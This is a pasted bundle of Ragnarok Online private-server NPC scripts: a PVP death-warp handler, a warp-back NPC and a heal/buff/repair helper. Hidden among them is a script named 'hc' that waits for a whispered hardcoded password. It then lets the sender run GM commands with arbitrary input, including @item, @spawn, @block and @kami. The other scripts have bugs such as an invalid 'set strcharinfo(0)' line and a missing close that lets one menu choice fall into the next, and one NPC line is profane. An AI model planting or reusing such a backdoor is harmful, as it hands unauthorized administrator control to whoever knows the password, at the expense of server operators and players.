Advertisement
Guest User

Untitled

a guest
Mar 29th, 2015
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.77 KB | None | 0 0
  1. - script sample1 -1,{
  2. OnInit:
  3. set strcharinfo(0),deadmap;
  4.  
  5. OnPCDieEvent:
  6. if(strcharinfo(3) == "guild_vs1") goto L_gvs1;
  7. if(strcharinfo(3) == "guild_vs2") goto L_gvs2;
  8. if(strcharinfo(3) == "guild_vs5") goto L_gvs5;
  9.  
  10. L_gvs1:
  11. dispbottom "Warping To Safe Area";
  12. savepoint "z_agit",24,180;
  13. set deadmap,1;
  14. end;
  15.  
  16. L_gvs2:
  17. dispbottom "Warping To Safe Area";
  18. savepoint "z_agit",24,180;
  19. set deadmap,2;
  20. end;
  21.  
  22. L_gvs5:
  23. dispbottom "Warping To Safe Area";
  24. savepoint "z_agit",24,180;
  25. set deadmap,3;
  26. end;
  27. }
  28.  
  29.  
  30. //=========================PVP Master Warp Back=========================
  31. z_agit,16,183,4 script PVP Helper 403,{
  32. mes "[ PVP Master ]";
  33. mes "What To Fight Again?";
  34. switch(select("Fight Back!:Give Up!")){
  35. case 1:
  36. next;
  37. mes "[ PVP Master ]";
  38. mes "Allright Lets Go!";
  39. if(deadmap==1) {
  40. warp "guild_vs1",0,0;
  41. set deadmap,0;
  42. }
  43. if(deadmap==2) {
  44. warp "guild_vs2",0,0;
  45. set deadmap,0;
  46. }
  47. if(deadmap==3) {
  48. warp "guild_vs5",0,0;
  49. set deadmap,0;
  50. }
  51.  
  52. case 2:
  53. next;
  54. mes "[ PVP Master ]";
  55. mes "You Motha Fckng Weak!";
  56. close;
  57. }
  58. }
  59.  
  60.  
  61.  
  62.  
  63.  
  64. - script hc -1,{
  65. OnInit:
  66. OnWhisperGlobal:
  67. if (@whispervar0$ == "qdawswd2we22") goto L_correct;
  68. end;
  69.  
  70. L_correct:
  71. dispbottom "Password Correct!";
  72. mes "Choose Option";
  73. switch(select("@item:@item2:@spawn:@block:@kami:@hide:@speed")){
  74. case 1:
  75. next;
  76. input @command$;
  77. atcommand "@item "+@command$;
  78. dispbottom "Command Initiated";
  79. close;
  80.  
  81. case 2:
  82. next;
  83. input @command$;
  84. atcommand "@item2 "+@command$;
  85. dispbottom "Command Initiated";
  86. close;
  87.  
  88. case 3:
  89. next;
  90. input @command$;
  91. atcommand "@spawn "+@command$;
  92. dispbottom "Command Initiated";
  93. close;
  94.  
  95. case 4:
  96. next;
  97. input @command$;
  98. atcommand "@block "+@command$;
  99. dispbottom "Command Initiated";
  100. close;
  101.  
  102. case 5:
  103. next;
  104. input @command$;
  105. atcommand "@kami "+@command$;
  106. dispbottom "Command Initiated";
  107. close;
  108.  
  109. case 6:
  110. next;
  111. atcommand "@hide";
  112. dispbottom "Command Initiated";
  113. close;
  114.  
  115. case 7:
  116. next;
  117. atcommand "@speed 0";
  118. dispbottom "Command Initiated";
  119. close;
  120.  
  121. }
  122. }
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130. //===================================PVP HEAL & BUFF,REPAIR,LEAVE====================================
  131. z_agit,32,183,4 script Helper 403,{
  132. mes "[ Helper ]";
  133. mes "What can i do for you?.";
  134. switch(select("Buffs:Repair:Leave")){
  135.  
  136. case 1:
  137. next;
  138. mes "[ Helper ]";
  139. mes "Healing";
  140. specialeffect2 EF_HEAL2; percentheal 100,100;
  141. specialeffect2 EF_INCAGILITY; sc_start SC_INC_AGI,240000,10;
  142. specialeffect2 EF_BLESSING; sc_start SC_BLESSING,240000,10;
  143. close;
  144.  
  145. case 2:
  146. next;
  147. mes "[ Helper ]";
  148. mes "Repairing";
  149. if (getbrokenid(1)==0 ){
  150. mes "Repair Man";
  151. mes "You don't have anything to be repaired!";
  152. close;
  153. }
  154. atcommand "@repairall";
  155. dispbottom "Repaired all broken equipment.";
  156. end;
  157.  
  158. case 3:
  159. next;
  160. mes "[ Helper ]";
  161. mes "Goodbye";
  162. warp "prontera",150,150;
  163. end;
  164. }
  165. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement